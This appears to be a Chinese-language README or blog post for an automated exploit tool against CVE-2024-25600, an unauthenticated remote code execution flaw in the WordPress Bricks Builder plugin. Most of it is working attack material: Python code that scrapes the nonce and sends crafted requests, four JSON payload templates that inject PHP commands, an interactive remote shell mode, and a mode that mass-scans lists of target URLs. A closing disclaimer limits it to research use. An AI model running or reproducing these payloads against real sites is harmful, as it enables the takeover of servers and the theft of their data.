Bricks Builder RCE 漏洞利用工具 (CVE-2024-25600)

3 阅读3分钟

CVE-2024-25600 Exploit Tool 🚀

项目描述 📝

本项目是一个专门针对 WordPress Bricks Builder 插件CVE-2024-25600 漏洞的自动化利用工具。该漏洞允许未认证的攻击者在受影响的网站上执行远程代码,严重威胁网站安全。本工具通过自动获取 nonce 值并发送精心构造的请求,实现了对漏洞的自动化验证和利用,适用于安全研究人员进行渗透测试和漏洞评估。

功能特性 🌟

  • 交互式模式:实时与目标网站交互,逐条执行系统命令 🕹️
  • 批量扫描模式:从文件中读取多个目标 URL,批量检测和利用 📋
  • 命令执行:在目标服务器上执行任意系统命令 ⚙️
  • 多种 Payload 类型:支持 genericcarouselcontainercode 四种 Payload,适应不同 Bricks Builder 版本 🧰
  • RCE 确认筛选:仅显示和记录确认存在 RCE 的目标 URL ✔️
  • 详细输出控制:支持静默模式和美化输出,满足不同使用场景

安装指南 🛠️

系统要求

  • Python 3.6+
  • pip 包管理器

依赖库

requests
beautifulsoup4
rich
alive-progress
prompt-toolkit

安装步骤

  1. 克隆仓库到本地:
git clone https://github.com/your-repo/CVE-2024-25600.git
cd CVE-2024-25600
  1. 安装所需 Python 库:
pip install -r requirements.txt

使用说明 📖

交互式模式 🎮

对单个目标进行交互式命令执行:

python exploit.py -u https://target-website.com

进入交互模式后,可直接输入系统命令(如 idwhoamils -la),输入 exit 退出。

批量扫描模式 📊

  1. 准备目标列表文件(每行一个 URL):
https://site1.com
https://site2.com
http://site3.com
  1. 运行批量扫描:
python exploit.py -l targets.txt
  1. 仅显示确认存在 RCE 的目标:
python exploit.py -l targets.txt --only-rce

Payload 定制 🧰

指定不同的 Payload 类型以提高成功率:

python exploit.py -u https://target.com --payload-type generic
python exploit.py -u https://target.com --payload-type carousel
python exploit.py -u https://target.com --payload-type container
python exploit.py -u https://target.com --payload-type code

提示code Payload 在较旧版本的 Bricks Builder(如 1.8 版)上效果更好。

命令行参数说明

参数说明
-u, --url目标网站的 URL
-l, --list包含目标 URL 列表的文件路径
--only-rce仅显示和记录确认存在 RCE 的 URL
--payload-typePayload 类型:generic, carousel, container, code(默认:generic)
--no-verbose禁用详细输出
--pretty启用美化输出

核心代码 💻

Code 类 - 漏洞利用核心

class Code:
    def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
        self.url = url
        self.pretty = pretty
        self.verbose = verbose
        self.only_rce = only_rce
        self.nonce = self.fetch_nonce()
        self.payload_type = payload_type

    def fetch_nonce(self):
        """从目标网站提取 nonce 值"""
        try:
            response = requests.get(self.url, verify=False, timeout=20)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, "html.parser")
            script_tag = soup.find("script", id="bricks-scripts-js-extra")
            if script_tag:
                match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
                if match:
                    return match.group(1)
        except Exception:
            pass

    def send_request(self, postId="1", command="whoami"):
        """发送恶意请求执行命令"""
        headers = {"Content-Type": "application/json"}
        payload_command = f'throw new Exception(`{command}` . "END");'
        
        base_element = {"postId": postId, "nonce": self.nonce}
        
        query_settings = {
            "useQueryEditor": True,
            "queryEditor": payload_command,
        }
        
        payload_templates = {
            "carousel": {
                **base_element,
                "element": {
                    "name": "carousel",
                    "settings": {"type": "posts", "query": query_settings}
                },
            },
            # 其他 payload 类型...
        }
        # 发送请求并解析命令输出

Payload 模板示例

# Generic Payload
generic_payload = {
    "postId": "1",
    "nonce": nonce,
    "element": {
        "name": "container",
        "settings": {
            "hasLoop": "true",
            "query": {
                "useQueryEditor": True,
                "queryEditor": "throw new Exception(`id`);",
                "objectType": "post"
            }
        }
    }
}

# Code Payload(适用于旧版本)
code_payload = {
    "postId": "1",
    "nonce": nonce,
    "element": {
        "name": "code",
        "settings": {
            "executeCode": "true",
            "code": "<?php throw new Exception(`id`);?>"
        }
    }
}

参考资源 📖

关于 CVE-2024-25600 漏洞的详细信息,请参考 Snicco.io 的漏洞披露

免责声明 ⚠️

本工具仅供教育和安全研究使用。未经授权对网站或网络进行入侵测试是违法和不道德的行为。使用者需自行承担相关法律责任。 6HFtX5dABrKlqXeO5PUv/yQapr7uPPibhKVyHx6VxSo=